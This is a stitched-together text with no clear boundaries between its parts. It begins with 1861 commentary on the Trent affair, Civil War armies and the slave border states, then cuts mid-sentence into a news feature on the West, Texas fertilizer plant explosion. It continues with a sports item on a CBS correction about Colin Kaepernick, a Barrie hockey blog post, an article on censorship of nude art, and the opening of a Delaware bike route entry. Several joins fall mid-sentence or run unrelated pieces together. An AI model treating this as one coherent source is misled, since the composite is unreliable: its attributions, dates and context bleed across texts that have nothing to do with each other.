One sees, therefore, that the law officers of the English Crown reduced the point of contention to a mere error in procedure, not an error in re, but an error in forma, because, actually, no material violation of law is to hand. The Palmerston organs chatter about the material legal question again because a mere error in procedure, in the interest of the Trent at that, gives no plausible pretext for a haughty-toned ultimatum.
Meanwhile, important voices have been raised in this sense from diametrically opposite sides: on the one side, Messrs. Bright and Cobden; on the other, David Urquhart. These men are enemies on grounds of principle and personally: the first two, peaceable cosmopolitans; the third, the "last of the Englishmen"; the former always ready to sacrifice all international law to international trade; the other hesitating not a moment: "Fiat Justitia, pereat mundus", and by "justice" he understands "English" justice. The voices of Bright and Cobden are important, because they represent a powerful section of middle-class interests and are represented in the ministry by Gladstone, Milner Gibson and also, more or less, by Sir Cornewall Lewis. The voice of Urquhart is important because international law is his life-study and everyone recognises him as an incorruptible interpreter of this international law.
The usual newspaper sources will communicate Bright's speech in support of the United States and Cobden's letter, which is conceived in the same sense. Therefore I will not dwell on them.
Urquhart's organ, The Free Press, states in its latest issue, published on December 4:
"'We must bombard New York!' Such were the frantic sounds which met the ears of everyone who traversed the streets of London on the evening of this day week, on the arrival of the intelligence of a trifling warlike incident. The act was one which England has committed as a matter of course [in every war] -- namely the seizure on board of a neutral of the persons and property of her enemies."
The Free Press further argues that, in 1856 at the Congress of Paris, Palmerston, without any authority from the Crown or Parliament sacrificed English maritime law in the interest of Russia, and then says:
"In order to justify this sacrifice, Palmerston's organs stated at that time that if we maintained the right of search, we should assuredly be involved in a war with the United States on the occasion of the first war in Europe. And now he calls on us through the same organs of public opinion to bombard New York because the United States act on those laws which are theirs no less than our own."
With regard to the utterances of the "organs of public opinion", The Free Press remarks:
"The bray of Baron Munchausen's thawing posthorn was nothing to the clangour of the British press on the capture of Messrs. Mason and Slidell."
Then humorously, it places side by side, in "strophe" and "antistrophe", the contradictions by which the English press seeks to convict the United States of a "breach of law".
6 December 1861
When, a few weeks back, we drew attention to the process of weeding which had become necessary in the American volunteer army, we were far from exhausting the valuable lessons this war is continually giving to the volunteers on this side of the Atlantic. We therefore beg leave again to revert to the subject.
The kind of warfare which is now carried on in America is really without precedent. From the Missouri to Chesapeake Bay, a million of men, nearly equally divided into two hostile camps, have now been facing each other for some six months without coming to a single general action. In Missouri, the two armies advance, retire, give battle, advance, and retire again in turns, without any visible result; even now, after seven months of marching and counter-marching, which must have laid the country waste to a considerable degree, things appear as far from any decision as ever. In Kentucky, after a lengthened period of apparent neutrality, but real preparation, a similar state of things appears to be impending; in Western Virginia, constant minor actions occur without any apparent result; and on the Potomac, where the greatest masses on both sides are concentrated, almost within sight of each other, neither party cares to attack, proving that, as matters stand, even a victory would be of no use at all. And unless circumstances foreign to this state of things cause a great change, this barren system of warfare may be continued for months to come.
How are we to account for this?
The Americans have, on either side, almost nothing but volunteers. The little nucleus of the former United States' regular army has either dissolved, or it is too weak to leaven the enormous mass of raw recruits which have accumulated at the seat of war. To shape all these men into soldiers, there are not even drill-sergeants enough. Teaching, consequently, must go on very slow, and there is really no telling how long it may take until the fine material of men collected on both shores of the Potomac will be fit to be moved about in large masses, and to give or accept battle with its combined forces.
But even if the men could be taught their drill in some reasonable time, there are not enough officers to lead them. Not to speak of the company officers -- who necessarily cannot be taken from among civilians -- there are not enough officers to make commanders of battalions even if every lieutenant and ensign of the regulars were appointed to such a post. A considerable number of civilian colonels are therefore unavoidable; and nobody who knows our own volunteers will think either McClellan or Beauregard over timid if they decline entering upon aggressive action or complicated strategical manoeuvres with civilian colonels of six months' standing to execute their orders.
We will suppose, however, that this difficulty was, upon the whole, overcome; that the civilian colonels, with their uniforms, had also acquired the knowledge, experience, and tact required in the performance of their duties -- at least, as far as the infantry is concerned. But how will it be for the cavalry? To train a regiment of cavalry, requires more time, and more experience in the training officers, than to get a regiment of infantry into shape. Suppose the men join their corps, all of them, with a sufficient knowledge of horsemanship -- that is to say, they can stick on their horses, have command over them, and know how to groom and feed them -- this will scarcely shorten the time required for training. Military riding, that control over your horse by which you make him go through all the movements necessary in cavalry evolutions, is a very different thing from the riding commonly practised by civilians. Napoleon's cavalry, which Sir William Napier (History of the Peninsular War) considered almost better than the English cavalry of the time, notoriously consisted of the very worst riders that ever graced a saddle; and many of our best cross-country riders found, on entering mounted volunteer corps, that they had a deal to learn yet. We need not be astonished, then, to find that the Americans are very deficient in cavalry, and that what little they have consists of a kind of Cossacks or Indian irregulars (rangers), unfit for a charge in a body.
For artillery, they must be worse off still; and equally so for engineers. Both these are highly scientific arms, and require a long and careful training in both officers and non-commissioned officers, and certainly more training in the men too, than infantry does. Artillery, moreover, is a more complicated arm than even cavalry; you require guns, horses broken in for this kind of driving, and two classes of trained men -- gunners and drivers; you require, besides, numerous ammunition-waggons, and large laboratories for the ammunition, forges, workshops, &c.; the whole provided with complicated machinery. The Federals are stated to have, altogether, 600 guns in the field; but how these may be served, we can easily imagine, knowing that it is utterly impossible to turn out 100 complete, well-appointed, and well-served batteries out of nothing in six months.
But suppose, again, that all these difficulties had been overcome, and that the fighting portion of the two hostile sections of Americans was in fair condition for their work, could they move even then? Certainly not. An army must be fed; and a large army in a comparatively thinly-populated country such as Virginia, Kentucky, and Missouri, must be chiefly fed from magazines. Its supply of ammunition has to be replenished; it must be followed by gunsmiths, saddlers, joiners, and other artisans, to keep its fighting tackle in good order. All these requisites shone by their absence in America; they had to be organised out of almost nothing; and we have no evidence whatever to show that even now the commissariat and transport of either army has emerged from babyhood.
America, both North and South, Federal and Confederate, had no military organisation, so to speak. The army of the line was totally inadequate, by its numbers, for service against any respectable enemy; the militia was almost non-existent. The former wars of the Union never put the military strength of the country on its mettle; England, between 1812 and 1814, had not many men to spare, and Mexico defended herself chiefly by the merest rabble. The fact is, from her geographical position, America had no enemies who could anywhere attack her with more than 30,000 or 40,000 regulars at the very worst; and to such numbers the immense extent of the country would soon prove a more formidable obstacle than any troops America could bring against them; while her army was sufficient to form a nucleus for some 100,000 volunteers, and to train them in reasonable time. But when a civil war called forth more than a million of fighting men, the whole system broke down, and everything had to be begun at the beginning. The results are before us. Two immense, unwieldy bodies of men, each afraid of the other, and almost as afraid of victory as of defeat, are facing each other, trying, at an immense cost, to settle down into something like a regular organisation. The waste of money, frightful as it is, is quite unavoidable, from the total absence of that organised groundwork upon which the structure could have been built. With ignorance and inexperience ruling supreme in every department, how could it be otherwise? On the other hand, the return for the outlay, in efficiency and organisation, is extremely poor; and could that be otherwise?
The British volunteers may thank their stars that they found, on starting, a numerous, well-disciplined, and experienced army to take them under its wings. Allowing for the prejudices inherent to all trades, that army has received and treated them well. It is to be hoped that neither the volunteers nor the public will ever think that the new service can ever supersede, in any degree, the old one. If there are any such, a glance at the state of the two American volunteer armies ought to prove to them their own ignorance and folly. No army newly formed out of civilians can ever subsist in an efficient state unless it is trained and supported by the immense intellectual and material resources which are deposited at the hands of a proportionately strong regular army, and principally by that organisation which forms the chief strength of the regulars. Suppose an invasion to threaten England, and compare what would be then done with what is unavoidably done in America. In England, the War-office, with the assistance of a few more clerks, easily to be found among trained military men, would be up to the transaction of all the additional labour an army of 300,000 volunteers would entail; there are half-pay officers enough to take, say three or four battalions of volunteers each under their special inspection, and, with some effort, every battalion might be provided with a line-officer as adjutant and one as colonel. Cavalry, of course, could not be improvised; but a resolute reorganisation of the artillery volunteers -- with officers and drivers from the Royal Artillery -- would help to man many a field-battery. The civil engineers in the country only wait for an opportunity to receive that training in the military side of their profession which would at once turn them into first-rate engineer officers. The commissariat and transport services are organised, and may soon be made to supply the wants of 400,000 men quite as easily as those of 100,000. Nothing would be disorganised, nothing upset; everywhere there would be aid and assistance for the volunteers, who would nowhere have to grope in the dark; and -- barring some of those blunders which England cannot do without when first she plunges into a war -- we can see no reason why in six weeks everything should not work pretty smoothly.
Now, look to America, and then say what a regular army is worth to a rising army of volunteers.
London, Dec.7, 1861
The friends of the United States on this side of the Atlantic anxiously hope that conciliatory steps will be taken by the Federal Government. They do so not from a concurrence in the frantic crowing of the British press over a war incident, which, according to the English Crown lawyers themselves, resolves itself into a mere error of procedure, and may be summed up in the words that there has been a breach of international law, because Capt. Wilkes, instead of taking the Trent, her cargo, her passengers, and the Commissioners, did only take the Commissioners. Nor springs the anxiety of the well-wishers of the Great Republic from an apprehension lest, in the long run, it should not prove able to cope with England, although backed by the civil war; and, least of all, do they expect the United States to abdicate, even for a moment, and in a dark hour of trial, the proud position held by them in the council of nations. The motives that prompt them are of quite a different nature.
In the first instance, the business next in hand for the United States is to crush the rebellion and to restore the Union. The wish uppermost in the minds of the Slaveocracy and their Northern tools was always to plunge the United States into a war with England. The first step of England as soon as hostilities broke out would be to recognise the Southern Confederacy, and the second to terminate the blockade. Secondly, no general, if not forced, will accept battle at the time and under the conditions chosen by his enemy.
"A war with America," says The Economist, a paper deeply in Palmerston's confidence, "must always be one of the most lamentable incidents in the history of England; but if it is to happen, the present is certainly the period at which it will do us the minimum of harm, and the only moment in our joint annals at which it would confer on us an incidental and partial compensation."
The very reasons accounting for the eagerness of England to seize upon any decent pretext for war at this 'only moment' ought to withhold the United States from forwarding such a pretext at this 'only moment.' You go not to war with the aim to do your enemy 'the minimum of harm,' and, even to confer upon him by the war, 'an incidental and partial compensation.' The opportunity of the moment would all be on one side, on the side of your foe. Is there any great strain of reasoning wanted to prove that an internal war raging in a State is the least opportune time for entering upon a foreign war? At every other moment the mercantile classes of Great Britain would have looked upon a war against the United States with the utmost horror. Now, on the contrary, a large and influential party of the mercantile community has for months been urging on the Government to violently break the blockade, and thus provide the main branch of British industry with its raw material. The fear of a curtailment of the English export trade to the United States has lost its sting by the curtailment of that trade having already actually occurred. "They" (the Northern States), says The Economist, "are wretched customers, instead of good ones." The vast credit usually given by English commerce to the United States, principally by the acceptance of bills drawn from China and India, has been already reduced to scarcely a fifth of what it was in 1857. Last, not least, Decembrist France, bankrupt, paralyzed at home, beset with difficulty abroad, pounces upon an Anglo-American war as a real godsend, and, in order to buy English support in Europe, will strain all her power to support "Perfidious Albion" on the other side of the Atlantic. Read only the French newspapers. The pitch of indignation to which they have wrought themselves in their tender care for the "honor of England," their fierce diatribes as to the necessity on the part of England to revenge the outrage on the Union Jack, their vile denunciations of everything American, would be truly appalling, if they were not ridiculous and disgusting at the same time. Lastly, if the United States give way in this instance, they will not derogate one iota of their dignity. England has reduced her complaint to a mere error of procedure, a technical blunder of which she had made herself systematically guilty in all her maritime wars, but against which the United States have never ceased to protest, and which President Madison, in his message inaugurating the war of 1812, expatiated upon as one of the most shocking breaches of international law. If the United States may be defended in paying England with her own coin, will they be accused for magnanimously disavowing, on the part of a single American captain, acting on his own responsibility, what they always denounced as a systematic usurpation on the part of the British Navy!
In point of fact, the gain of such a procedure would be all on the American side. England, on the one hand, would have acknowledged the right of the United States to capture and bring to adjudication before an American prize court every English ship employed in the service of the Confederation. On the other hand, she would, once for all, before the eyes of the whole world, have practically resigned a claim which she was not brought to desist from either in the peace of Ghent, in 1814, or the transactions carried on between Lord Ashburton and Secretary Webster in 1842.The question then comes to this: Do you prefer to turn the "untoward event" to your own account, or, blinded by the passions of the moment, turn it to the account of your foes at home and abroad?
Since this day week, when I sent you my last letter, British consols have again lowered, the decline, compared with last Friday, amounting to 2 per cent, the present prices being 89 3/4 to 7/8 for money and 90 to 1/8 for the new account on the 9th of January. This quotation corresponds to the quotation of the British consols during the first two years of the Anglo-Russian war. This decline is altogether due to the warlike interpretation put upon the American papers conveyed by the last mail, to the exacerbating tone of the London press, whose moderation of two days' standing was but a feint, ordered by Palmerston, to the dispatch of troops for Canada, to the proclamation forbidding the export of arms and materials for gunpowder, and lastly, to the daily ostentatious statements concerning the formidable preparations for war in the docks and maritime arsenals.
Of one thing you may be sure, Palmerston wants a legal pretext for a war with the United States, but meets in the Cabinet councils with a most determinate opposition on the part of Messrs. Gladstone and Milner Gibson, and, to a less degree, of Sir Cornewall Lewis. "The noble viscount" is backed by Russell, an abject tool in his hands, and the whole Whig Coterie. If the Washington Cabinet should furnish the desired pretext, the present Cabinet will be sprung, to be supplanted by a Tory Administration. The preliminary steps for such a change of scenery have been already settled between Palmerston and Disraeli. Hence the furious war-cry of The Morning Herald and The Standard, those hungry wolves howling at the prospect of the long-missed crumbs from the public almoner.
Palmerston's designs may be shown up by calling into memory a few facts. It was he who insisted upon the proclamation, acknowledging the Secessionists as belligerents, on the morning of the 14th of May, after he had been informed by telegraph from Liverpool that Mr. Adams would arrive at London on the night of the 13th May. He, after a severe struggle with his colleagues, dispatched 3,000 men to Canada, an army ridiculous, if intended to cover a frontier of 1,500 miles, but a clever sleight-of-hand if the rebellion was to be cheered, and the Union to be irritated. He, many weeks ago, urged Bonaparte to propose a joint armed intervention "in the internecine struggle," supported that project in the Cabinet council, and failed only in carrying it by the resistance of his colleagues. He and Bonaparte then resorted to the Mexican intervention as a pis aller. That operation served two purposes, by provoking just resentment on the part of the Americans, and by simultaneously furnishing a pretext for the dispatch of a squadron, ready, as The Morning Post has it, "to perform whatever duty the hostile conduct of the Government of Washington may require us to perform in the waters of the Northern Atlantic." At the time when that expedition was started, The Morning Post, together with The Times and the smaller fry of Palmerston's press slaves, said that it was a very fine thing, and a philanthropic thing into the bargain, because it would expose the slave- holding Confederation to two fires -- the Anti-Slavery North and the Anti-Slavery force of England and France. And what says the very same Morning Post, this curious compound of Jenkins and Rhodomonte, of plush and swash, in its to-day's issue, on occasion of Jefferson Davis's address? Hearken to the Palmerston oracle:
"We must look to this intervention as one that may be inoperative during a considerable period of time; and while the Northern Government is too distant to admit of its attitude entering materially into this question, the Southern Confederation, on the other hand, stretches for a great distance along the frontier of Mexico, so as to render its friendly disposition to the authors of the insurrection of no slight consequence. The Northern Government has invariably railed at our neutrality, but the Southern with statesmanship and moderation has recognized in it all that we could do for either party; and whether with a view to our transactions in Mexico, or to our relations with the Cabinet at Washington, the friendly forbearance of the Southern Confederacy is an important point in our favor."
I may remark that the Nord of December 3 -- a Russian paper, and consequently a paper initiated into Palmerstons designs -- insinuates that the Mexican expedition was from the first set on foot, not for its ostensible purpose, but for a war against the United States.
Gen. Scott's letter had produced such a beneficent reaction in public opinion, and even on the London Stock Exchange, that the conspirators of Downing Street and the Tuileries found it necessary to let loose the Patrie, stating with all the airs of knowledge derived from official sources that the seizure of the Southern Commissioners from the Trent was directly authorized by the Washington Cabinet.
----------------------------------
"Let him go, he is not worth thine ire!" Again and again English statesmanship cries-recently through the mouth of Lord John Russell-to the North of the United States this advice of Leporello to Don Juan's deserted love. If the North lets the South go, it then frees itself from any admixture of slavery, from its historical original sin, and creates the basis of a new and higher development.
In reality, if North and South formed two autonomous countries, like, for example, England and Hanover, their separation would be no more difficult than was the separation of England and Hanover. "The South," however, is neither a territory closely sealed off from the North geographically, nor a moral unity. It is not a country at all, but a battle slogan.
The advice of an amicable separation presupposes that the Southern Confederacy, although it assumed the offensive in the Civil War, at least wages it for defensive purposes. It is believed that the issue for the slaveholders' party is merely one of uniting the territories it has hitherto dominated into an autonomous group of states and withdrawing them from the supreme authority of the Union. Nothing could be more false: "The South needs its entire territory. It will and must have it." With this battle-cry the secessionists fell upon Kentucky. By their "entire territory" they understand in the first place all the so-called border states-Delaware, Maryland, Virginia, North Carolina, Kentucky, Tennessee, Missouri and Arkansas. Besides, they lay claim to the entire territory south of the line that runs from the north-west corner of Missouri to the Pacific Ocean. What the slaveholders, therefore, call the South, embraces more than three-quarters of the territory hitherto comprised by the Union. A large part of the territory thus claimed is still in the possession of the Union and would first have to be conquered from it. None of the so-called border states, however, not even those in the possession of the Confederacy, were ever actual slave states. Rather, they constitute the area of the United States in which the system of slavery and the system of free labour exist side by side and contend for mastery, the actual field of battle between South and North, between slavery and freedom. The war of the Southern Confederacy is, therefore, not a war of defence, but a war of conquest, a war of conquest for the spread and perpetuation of slavery.
The chain of mountains that begins in Alabama and stretches northwards to the Hudson River-the spinal column, as it were, of the United States-cuts the so-called South into three parts. The mountainous country formed by the Allegheny Mountains with their two parallel ranges, the Cumberland Range to the west and the Blue Mountains to the east, divides wedge-like the lowlands along the western coast of the Atlantic Ocean from the lowlands in the southern valleys of the Mississippi. The two lowlands separated by the mountainous country, with their vast rice swamps and far-flung cotton plantations, are the actual area of slavery. The long wedge of mountainous country driven into the heart of slavery, with its correspondingly clear atmosphere, an invigorating climate and a soil rich in coal, salt, limestone, iron ore, gold, in short, every raw material necessary for a many-sided industrial development, is already for the most part free country. In accordance with its physical constitution, the soil here can only be cultivated with success by free small farmers. Here the slave system vegetates only sporadically and has never struck root. In the largest part of the so-called border states, the dwellers of these highlands comprise the core of the free population, which sides with the Northern party if only for the sake of self-preservation.
Let us consider the contested territory in detail.
Delaware, the most north-eastern of the border states, is factually and morally in the possession of the Union. All the attempts of the secessionists at forming even one faction favourable to them have since the beginning of the war suffered shipwreck on the unanimity of the population. The slave element of this state has long been in process of dying out. From 1850 to 1860 alone the number of slaves diminished by half, so that with a total population of 112,218 Delaware now numbers only 1,798 slaves. Nevertheless, Delaware is demanded by the Southern Confederacy and would in fact be militarily untenable for the North as soon as the South possessed itself of Maryland.
In Maryland itself the above-mentioned conflict between highlands and lowlands takes place. Out of a total population of 687,034 there are here 87,188 slaves. That the overwhelming majority of the population is on the side of the Union has again been strikingly proved by the recent general elections to the Congress in Washington. The army of 30,000 Union troops, which holds Maryland at the moment, is intended not only to serve the army on the Potomac as a reserve, but, in particular, also to hold in check the rebellious slaveowners in the interior of the country. For here we observe a phenomenon |
'm concerned."
Should the authorities in West have evacuated rather than battle the blaze? Experts say that question cannot be answered absent a full investigation, and even then it may never be possible to determine with authority what went wrong here. Fires at industrial facilities are inherently dangerous and can have unexpected consequences.
Frazier, the emergency management coordinator in Brazos county, was unwilling to second-guess his counterparts in West. There was but one certain difference between the 2009 explosion in Bryan and the one that killed people here: "We got lucky,” he said, "and they didn't."
'OUR NEIGHBOR'
The fertilizer facility in West had always been a locally owned business, ingrained in the community like the bakeries and restaurants that have graced the downtown streets for generations.
Small Texas towns are known for being close-knit. But the kinship is even greater in West, where families share the bonds of Czech heritage, handed down from the some of the original Texas settlers.
A local family opened the fertilizer plant in 1962 to help nearby corn, cotton and sorghum farmers who needed someone to supply fertilizer and other farm equipment in the area. West is located on a major north-south railway, making the location ideal as a supply base for needed chemicals and compounds for a broad area.
"It was really a necessity for this community," said Anthony Rejcek, a third-generation farmer whose family has done business with the plant since the 1960s. "There's really nothing else like it. People come from 50 miles away to do business here."
When the plant opened, it was located far from West's downtown area, mostly surrounded by open farmland. But over the years the town expanded north, with more and more houses popping up in the shadow of the plant.
Town leaders built an intermediate school about a tenth of a mile across the railroad tracks from the plant. The nursing home also sits within eyesight of the plant, part of the gradual expansion of homes and businesses. Because the facility was built so long ago, local zoning regulations primarily governed what could be built near it.
Ed Sykora, who owns a local Ford dealership in West and has been displaced from his home since Wednesday, was on the town school board and city council for more than a dozen years. He doesn't remember any discussion of whether it made sense to build new homes and a new school so close to the fertilizer plant.
"The land was available out there that way; they could get sewer and other stuff that way without building a bunch of new lines," Sykora recalled. "There never was any thought about it. Maybe that was wrong."
Rejcek, the farmer, said he remembered some in town who worried about building a school near the plant. "There have always been questions about that," he said, calling that decision "a mistake."
Yet even in recent reports, state regulators saw no problems for the schools and houses nearby. For most people living near the plant, the only concern through the years was the smell of ammonia, which would periodically cause a nuisance if there were leaks in containers. Records from the Commission on Environmental Quality show several odor complaints dating back to the 1970s. But most said the smell only caused problems every few years.
Residents were comfortable living next to the plant because it was such a cornerstone of the community, run by locals who went to the same churches, shopped in the same stores and sent their children to the same schools.
"It's not like some corporation came in here and built a facility," said Sykora. "It's always been our neighbor."
Ted Uptmore, who has managed the plant since 1964, also owns the West Auction, a livestock business in town. Donald Adair, a longtime area farmer who bought the fertilizer plant in 2004, has served on the school board and is widely respected by town leaders.
Some in West recalled that Adair, who was already getting older, bought the plant in 2004 because it was rumored to shut down. Adair didn't want the town to be without such a crucial business, said Rejcek.
"I told him, 'Somebody your age should be selling stuff, not buying stuff,'" Rejcek recalled. "He said, 'I'm not doing this for myself.'"
Even in the wake of a disaster that touched almost everyone in West, many residents who were interviewed harbored no ill will toward the plant owners.
"These are good people, and I feel so sorry for Mr. Adair," said Jeanette Karlik, the local newspaper columnist, who grew up in West and returned to take care of her ailing mother in the late 1990s. "I know his heart is heavy because of what happened."
As investigators focus on pinpointing the cause of the accident, and whether there was any negligence, many locals stand in support of the plant owners.
"I don't question it. There is no way that there was a problem there where they knew something was going to happen," said Sykora. "That's not the people they are. They are good Church of Christ people. If [Adair] had an inkling, he would have shut that thing down."
'WILLFULLY OFF THE GRID'
Among the at least seven state and federal regulatory agencies under whose purview the West Fertilizer plant fell, none appears to have exerted a sense of primary authority. Records suggest that oversight was spotty at best.
Neil Carman, the clean air director at the Texas chapter of the Sierra Club, previously spent more than a decade inspecting facilities like West Fertilizer while working for the Texas Commission on Environmental Quality. Unlike large industrial plants, which the commission inspects once a year, small operators like West Fertilizer are inspected every five years or so, unless there is a specific complaint, he said. He described oversight of such small facilities as "minimal."
In 2006, inspectors from Carman's former agency responded 11 days after a report of ammonia odor at West Fertilizer and discovered that the company had failed to register two giant, 12,000-gallon anhydrous ammonia tanks as required. The manager, Uptmore, said he thought the company was grandfathered into air quality regulations and didn't need a permit to store the gas.
The Environmental Protection Agency subsequently fined the plant $2,300 for failing to turn in a risk-management plan for dealing with the tanks.
None of these agencies, however, regulate ammonium nitrate. The Texas Department of State Health Services was aware of the presence of large volumes of ammonium nitrate at the plant, and collected data on the hazardous substance as required. But according to a Reuters story, the plant owners never alerted the Department of Homeland Security, which tracks and inspects facilities to make sure the potentially deadly chemical is stored safely.
A spokeswoman for the Texas Department of State Health Services, Carrie Williams, wrote in an email that the agency's role is only to provide data on chemicals for more than 65,000 facilities across the state. Williams said the agency is not required to report ammonium nitrate quantities to DHS. "Our authority does not include oversight of the amounts, locations or types of chemicals that may be stored there," she wrote.
It's unclear whether DHS, had it known about the ammonium nitrate, would have required additional safety measures and installation of protective barriers that could have prevented the explosion, or limited the damage in West.
Rep. Bennie Thompson (D-Miss.), the ranking member of the House Committee on Homeland Security, said in a statement that it seemed as if the plant was "willfully off the grid."
Carman, the former staffer for the agency, said the Texas Commission on Environmental Quality and the EPA focus their attention on potential violations of the Clean Air Act; under that standard, small plants like the one in West pose much less of a threat than, say, a huge chemical factory in Houston, he said.
But a smaller threat is not the same as no threat, as residents here learned last week.
"We've done a lot of crying," said George Smith, the West EMS director. "And we've got a lot of crying in the days ahead."
Caroline Fairchild contributed reporting.CBS has “clarified” a report that indicated Colin Kaepernick said he would stand for the national anthem, saying that the issue was not, in fact, discussed:
NEW YORK (AP) – CORRECTION: CBS reporter clarifies on saying Kaepernick would stand for anthem, says they didn't discuss issue. — Mike Allen (@mikeallen) October 8, 2017
That’s a pretty sharp departure from the initial report, which indicated Colin Kaepernick said he would stand for the national anthem if he were signed to an NFL team, according to CBS’s Jason La Canfora.
BREAKING: Quarterback Colin Kaepernick tells CBS he'll stand during national anthem if given chance to play football in NFL again. — The Associated Press (@AP) October 8, 2017
Kaepernick, the former San Francisco 49ers quarterback, began kneeling during the national anthem in the 2016 preseason as a way to protest racial injustice and police brutality. He opted out of his 49ers contract after the season, although he was informed he would have been cut regardless.
Since then, he has not signed with an NFL team, though he has had workouts and at least passing interest from several organizations. However, dozens of quarterbacks, many with skills demonstrably weaker than Kaepernick’s, have been signed in his wake.
Let’s be clear here: no team is obligated to give Kaepernick a job, or even a tryout. He made his choice to speak out, and he’s suffering the employment consequences of that speech. But anyone who continues to insist that only “football” reasons are keeping Kaepernick off the field is fooling themselves.
Kaepernick has continued to pursue charitable endeavors even while off the field. And protests have exploded across the NFL, driven largely by critical September commentary from President Trump.
Kaepernick’s girlfriend took to Twitter after the AP’s initial report to refute the idea that he would stand:
The reports that Colin will stand for the anthem are completely false! He has never discussed this with anyone. pic.twitter.com/tWusUBJMeF — NESSA (@nessnitty) October 8, 2017
Kaepernick himself has also reached out to at least one journalist:
1) Just got a message from @Kaepernick7, who says he has not discussed with anyone his plans in the event he is signed by an NFL team. — Full Dissident (@hbryant42) October 8, 2017
And Kaepernick himself issued what seems like a well-chosen quote:
A lie gets halfway around the world before the truth has a chance to get its pants on. Winston S. Churchill — Colin Kaepernick (@Kaepernick7) October 8, 2017
This post has been updated to reflect changing news.
Colin Kaepernick has not said whether he would stand if given the chance to play again. (AP) More
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Jay Busbee is a writer for Yahoo Sports and the author of EARNHARDT NATION, on sale now at Amazon or wherever books are sold. Contact him at jay.busbee@yahoo.com or find him on Twitter or on Facebook.
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• Eagles’ Smith goes deep with TD celebrationMaybe you were in attendance during the filming of Hometown Hockey over the weekend or maybe you just want to relive it. There were so many great memories and some excellent features over the weekend.My favourite part was a feature on the broadcast side of things, they had a great segment on Mark Scheifele where they discussed his career, his time with the Colts and how his former coach, Dale Hawerchuk helped his game. Here it is if you missed it.The Mayor even was able to get a great picture with Ron MacLean.Here is a shot of Cordell James and Anthony Stefano on the broadcast.Luckily most the team managed to make it and got some love.Not only was the broadcast from Barrie but the first goal of the game was scored by a guy who played in Barrie. Former Barrie Colt, Bryan Little opened up the scoring for the Winnipeg Jets.Just a small taste of an incredible weekend! Thank you to the Hometown Hockey people for making a special weekend for us here in Barrie and thank you for showing everyone else that we are a great hockey town!Did you attend? Please share your favourite memories and pictures in the comments!Written by Jessica Lack, CNN
This year marks the 100th anniversary of an exhibition of paintings by the Italian artist Amedeo Modigliani, at the Berthe Weill gallery in Paris. The exhibition, displaying a number of nude works, was too much for some and shut down within hours of its opening. The police commissioner at the time had been offended by the depiction of pubic hair.
"It really did shock people," said Nancy Ireson, one of the curators of a new exhibition of Modigliani's paintings at Tate Modern, "and some of the paintings had to be taken down."
Upending traditions
To our contemporary eyes, Modigliani's hirsute women are hardly shocking, in fact their poses reveal the painter to be in thrall to elegance and classicism. Yet, in rejecting the traditional hairless nudes of antiquity, Modigliani was seen to be attacking the social order -- and in this, he was not alone.
Modigliani was part of a radical group of Belle Époque artists, who wanted to subvert cultural conventions, and what better way of doing this than forcing people to confront how they see themselves?
Some painters, like Modigliani did it by sticking closely to the facts, others, like Picasso, tore the body apart and re-constructed it for the modern world. The nude had become a subject of challenge and contest.
If you subscribe to the aphorism that sex is really about power, Ireson suggests another reason to why Modigliani's nudes were so shocking: "These women are overtly sexual and that really connects with the way women were troubling society at the time. These pictures were made during the First World War, when more women were working, more women were living independently... there really is a social anxiety about that."
"Reclining Nude" (1919) by Amedeo Modigliani. Credit: Amedeo Modigliani
Censoring the nude
So began a golden era of the nude in Western art, thought not without censorship. In 1912, Austrian painter Egon Schiele, spent 24 days in jail convicted of immorality relating to hundreds of sketches of the naked form, and artists Otto Dix and George Grosz were both brought to trial for obscenity in the 1920s. Others preferred self-censorship rather than prosecution. René Magritte's "The Rape" was concealed behind a velvet curtain when it was first exhibited in Brussels in 1934, with only Surrealist sympathizers permitted to see it. For Modigliani however the censorship of his nude paintings didn't help sales -- he died young and penniless in 1920.
Yet for all the trouble censorship caused these male artists, their reputation was rehabilitated and they went on to be celebrated as transgressive -- even visionary -- outsiders. Their nudes were lauded as sexually brave, raw and unconstrained. The same cannot be said of the women artists who came in their wake as a result of that burgeoning female autonomy.
"Consider the Lilies" (1970-1977) by Penny Slinger
The Fight Censorship Group
In the 1960s feminist artists began to represent the nude from a female perspective, reflecting a woman's sexual desires. Artists like Joan Semmel, Judith Bernstein, Dorothy Iannone, Betty Tompkins, Anita Steckel and Penny Slinger appropriated pornography to present a different narrative to the one promoted by the sex industry. Inevitably censorship followed and it had a debilitating effect on their careers.
Slinger had her work burned by customs officials in 1978, Bernstein was forced to defend her graphic depictions of genitalia, while Steckel found herself at the mercy of the censors when attempts were made to close-down her exhibition of nude pictures at Rockland Community College, in New York. The college committee objected to the inclusion of images of erect penises. In response Steckel formed The Fight Censorship Group, and published a statement in which she declared "If the erect penis is not wholesome enough to go into a museum, it should not be considered wholesome enough to go into women. And if the erect penis is wholesome enough to go into women -- then it is more than wholesome enough to go into the greatest art museums."
1 / 14 "Ohne Titel (Untitled from the series 'Death Dance with Maiden')" (1979-1980) by Birgit Jürgenssen
Like Steckel, Tompkins and Ianonne also found the best way to confront censorship was through spirited rebuke. Tompkins' photo-realistic paintings took their subject matter from hardcore pornographic magazines. When one of these paintings was impounded while on its way to France for an exhibition her retort was to create a series of large-scale sexually explicit drawings, in which the word "censored" covered the offending area. Alternatively, in 1970 when the Kunsthalle Bern attempted to cover up the genitalia in Ianonne's paintings, she responded with a work that detailed the scandal and named the protagonists involved.
Surprisingly, for these female artists, confrontations with the law did not lead to notoriety -- like it did for their male counterparts -- but obscurity, and some of them ceased to exhibit altogether. Yet the world has changed in the last ten years, and artists like Tompkins and Iannone are having a resurgence thanks to a group of younger curators and artists who are beginning to understand how these pioneering feminist artists played a crucial role in creating the sex positive attitude that exists in the mainstream media today. Through their brave, uncompromising depictions of the nude, the fig leaves are finally coming off.Delaware Bicycle Route 1 (Bike Route 1) is a bicycle route that runs the north-south length of the U.S. state of Delaware, from the Maryland border in Fenwick Island, Sussex County north to the Pennsylvania border near Montchanin, New Castle County. The route passes through many Delaware scenes, including beaches, farmland, state parks, and towns. The route is the first of many signed bike routes planned in the state.[2]
Route description [ edit ]
Sussex County [ edit ]
Bike Route 1 begins at the Maryland border in the beach town of Fenwick Island. The route heads north on Delaware Route 1, the Coastal Highway. It passes through the town and then proceeds north, passing through Fenwick Island State Park, one of three Delaware state parks located on the Atlantic Ocean. The bike route then passes through the residential South Bethany and the more commercial Bethany Beach. These resorts, along with Fenwick Island, make up "The Quiet Resorts" of Delaware.
